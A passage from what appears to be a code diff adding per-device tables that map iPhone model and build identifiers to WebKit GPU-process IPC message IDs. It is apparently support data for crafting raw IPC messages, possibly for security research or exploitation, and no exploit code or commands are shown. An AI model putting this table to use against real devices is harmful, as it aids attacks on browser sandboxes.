RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,2_3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone13,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone13,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,6_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,7_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,8_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + 